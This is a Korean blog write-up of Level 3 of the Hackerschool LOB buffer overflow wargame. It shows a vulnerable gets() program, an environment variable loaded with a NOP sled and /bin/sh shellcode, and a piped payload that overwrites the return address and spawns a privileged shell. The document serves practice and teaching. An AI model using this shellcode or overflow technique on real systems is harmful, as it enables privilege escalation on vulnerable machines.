[해커스쿨 LOB] Level3: cobolt >> goblin
두비니
·2019. 9. 24. 23:38
Level 3. Cobolt >> Goblin
Theme: Basic BufferOverFlow (w/ stdin)
로그인합시다
id: cobolt
pw: hacking exposed
ls -l로 디렉토리를 확인하면 역시나
[cobolt@localhost cobolt]$ ls -l
total 16
-rwsr-sr-x 1 goblin goblin 11824 Feb 26 2010 goblin
-rw-r--r-- 1 root root 193 Mar 29 2010 goblin.c
[cobolt@localhost cobolt]$ nl goblin.c
1 /*
2 The Lord of the BOF : The Fellowship of the BOF
3 - goblin
4 - small buffer + stdin
5 */
6 int main()
7 {
8 char buffer[16];
9 gets(buffer);
10 printf("%s\n", buffer);
11 }
우리가 해결해야 할 goblin파일이 있네요. 파일을 확인해보니 이번에는 strcpy대신에 gets함수를 이용하고 있네요. 매개변수를 통한 입력에서 표준입력으로 바뀌었다는 점은 있지만 환경변수로 풀면 되는건 똑같습니다. stack구조는 2번문제랑 동일하겠죠?
문제에 필요한 정보들을 구하는 방법은 동일해서 설명은 생략하겠습니다.
[cobolt@localhost cobolt]$ export EGG=`python -c 'print "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[cobolt@localhost cobolt]$ vi getaddr.c
[cobolt@localhost cobolt]$ nl getaddr.c
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4 int main(int argc, char *argv[])
5 {
6 char *ptr;
7 ptr = getenv(argv[1]);
8 printf("%p\n", ptr);
9 return 0;
10 }
[cobolt@localhost cobolt]$ gcc -o getaddr getaddr.c
[cobolt@localhost cobolt]$ ./getaddr EGG
0xbffffd65
자 이제 환경변수의 주소가 0xbffffd65라는건 알았지만, argv로는 전달을 할 수 없는 상황에서는 이걸 어떻게 전달해주어야할까요?
뭐 직접 실행시킨뒤 A를 20개 직접 입력하고 주소를 써도 되겠죠. 근데 앞으로 buffer의 길이가 100개, 1000개 이상인 상황이 생긴다면 어떻게 할 건가요?
이럴때는 pipeline을 이용하면 됩니다.
리눅스의 파이프라인에 대해서 잘 모르는 사람들은 다음 글의 pipe부분을 참고하세요: https://jhnyang.tistory.com/66
[cobolt@localhost cobolt]$ (python -c 'print "A"*20 + "\x65\xfd\xff\xbf"';cat) | ./goblin
AAAAAAAAAAAAAAAAAAAAe▒▒▒
bash$ my-pass
euid = 503
hackers proof
바뀐점이 있다면 이제는 pipe를 이용해 인자를 전달해주었다는 점인데, 이는 매개변수가 아니라 직접 gets함수(표준입력)로 받고있기때문에 저렇게 작성했습니다.
2번이랑 똑같아서 쉬웠죠?
다음!
'War Games > 해커스쿨 LOB' 카테고리의 다른 글
[해커스쿨 LOB] Level6: Wolfman >> Darkelf (0) | 2020.07.17 |
---|---|
[해커스쿨 LOB] Level 5: Orc >> Wolfman (0) | 2019.11.06 |
[해커스쿨 LOB] Level4: goblin >> orc (3) | 2019.09.25 |
[해커스쿨 LOB] Level2: gremlin >> cobolt (1) | 2019.09.24 |
[해커스쿨 LOB] Level1: gate >> gremlin (0) | 2019.09.18 |